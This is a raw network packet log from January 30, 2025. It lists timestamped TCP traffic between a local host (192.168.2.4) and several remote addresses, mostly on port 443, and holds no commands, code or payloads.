Jan 30, 2025 19:26:27.145806074 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.145991087 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.146002054 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.581949949 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.581994057 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.582065105 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.582346916 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.582360983 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.625735998 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.625981092 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.625996113 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.627068996 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.627343893 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.627458096 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.627510071 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.676980972 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.797235966 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.797395945 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:27.797456980 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.798094034 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.798113108 CET	443	50058	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:28.070185900 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.070538998 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:28.070589066 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.071059942 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.071459055 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:28.071553946 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.071659088 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:28.115361929 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.215229988 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.215477943 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.215555906 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:28.215599060 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.215667009 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:28.215725899 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:28.392329931 CET	50059	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:28.392405033 CET	443	50059	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.174767971 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.174819946 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.174911976 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.175112009 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.175126076 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.655400991 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.655703068 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.655726910 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.656846046 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.657134056 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.657253981 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.657258987 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.657304049 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.711672068 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.779671907 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.779805899 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.780831099 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.781275988 CET	50060	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:29.781290054 CET	443	50060	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:29.790615082 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:29.790682077 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:29.790793896 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:29.791102886 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:29.791122913 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.001547098 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.001597881 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.001698971 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.002335072 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.002346992 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.279149055 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.279445887 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.279467106 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.279912949 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.280203104 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.280273914 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.280316114 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.323010921 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.323040009 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.440232038 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.440414906 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.440498114 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.441381931 CET	50061	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.441425085 CET	443	50061	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.629626036 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.629924059 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.629944086 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.630409956 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.630695105 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.630820036 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.630826950 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.630908012 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.630950928 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.631042004 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.631082058 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.886739969 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.886887074 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.886960983 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.886981964 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.887012959 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.887059927 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.887150049 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.887335062 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.887382030 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.887398005 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.887497902 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.887545109 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.887553930 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.891443014 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.891505957 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.891530991 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.891625881 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.891671896 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.891680956 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.931922913 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.972929001 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973145962 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973229885 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.973257065 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973283052 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973330021 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.973414898 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973588943 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973639965 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.973656893 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973901033 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.973956108 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.973963976 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.974061966 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.974093914 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.974103928 CET	443	50062	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:30.974134922 CET	50062	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:30.994600058 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.994702101 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:30.994839907 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.995119095 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:30.995147943 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.268322945 CET	49756	80	192.168.2.4	104.21.64.1
Jan 30, 2025 19:26:31.274604082 CET	80	49756	104.21.64.1	192.168.2.4
Jan 30, 2025 19:26:31.497752905 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.498198986 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:31.498234987 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.499355078 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.499707937 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:31.499828100 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:31.499836922 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.499872923 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.542092085 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:31.636780024 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.636961937 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:31.637063980 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:31.637418985 CET	50063	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:31.637449026 CET	443	50063	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:39.811525106 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:39.811639071 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:39.811779022 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:39.812086105 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:39.812122107 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.293315887 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.293664932 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.293726921 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.294821024 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.295126915 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.295264006 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.295275927 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.295304060 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.295402050 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.295438051 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.295551062 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.295583010 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575625896 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575735092 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575778008 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575809002 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.575843096 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575896025 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.575905085 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575927019 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.575979948 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.576683998 CET	50064	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:40.576711893 CET	443	50064	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:40.581690073 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:40.581733942 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:40.581825018 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:40.581994057 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:40.582006931 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:40.594043970 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:40.594153881 CET	443	50066	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:40.594396114 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:40.594732046 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:40.594767094 CET	443	50067	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:40.594839096 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:40.595526934 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:40.595537901 CET	443	50067	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:40.596288919 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:40.596340895 CET	443	50066	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:40.597316027 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:40.597354889 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:40.597418070 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:40.597656965 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:40.597675085 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.097199917 CET	443	50066	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.097517014 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.097583055 CET	443	50066	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.098814964 CET	443	50067	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.098995924 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099021912 CET	443	50067	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.099078894 CET	443	50066	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.099165916 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099479914 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099514961 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099556923 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099575996 CET	443	50066	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.099637032 CET	50066	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099900961 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.099917889 CET	443	50067	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.099939108 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.099982023 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100030899 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100208044 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100215912 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.100436926 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100476027 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100476027 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100498915 CET	443	50067	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.100547075 CET	50067	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100667000 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100717068 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.100769043 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100928068 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.100935936 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.103110075 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.103281021 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.103358984 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.103817940 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.104151011 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.104243994 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.106842995 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.107008934 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.107027054 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.108196974 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.108443022 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.108542919 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.108546972 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.108616114 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.151828051 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.151839972 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.278542995 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.278712988 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.278774977 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.279464006 CET	50065	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:41.279483080 CET	443	50065	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:41.579860926 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.593796015 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.631355047 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.637211084 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.657157898 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.657191038 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.657274008 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.657300949 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.661011934 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.661084890 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.661226988 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.661302090 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.689490080 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.689701080 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.689769983 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.689970016 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.689994097 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.690011978 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.690047026 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.731733084 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.731760025 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.731805086 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:41.731842041 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:41.779134035 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.290879965 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291017056 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291111946 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291116953 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.291153908 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291208029 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.291217089 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291457891 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291508913 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.291517973 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291732073 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291816950 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.291873932 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.291886091 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.293015957 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.293023109 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.296622038 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.296683073 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.296696901 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.339994907 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.380242109 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380431890 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380518913 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380523920 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.380557060 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380599022 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.380628109 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380794048 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380878925 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.380925894 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.380934000 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.381012917 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.381053925 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.381205082 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.381251097 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.381259918 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.381947041 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.382005930 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.382014036 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.382137060 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.382220030 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.382266998 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.382277012 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.383229971 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.383281946 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.383290052 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.383333921 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.383341074 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.383477926 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.383534908 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.383542061 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.434900045 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.467549086 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.467704058 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.467981100 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.468049049 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.468080997 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.468168974 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.468224049 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.468233109 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.468277931 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.468765974 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.468946934 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.469006062 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.469014883 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.469187021 CET	443	50070	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:42.469247103 CET	50070	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:42.469332933 CET	50070	443	192.168.2.4	104.21.80.1
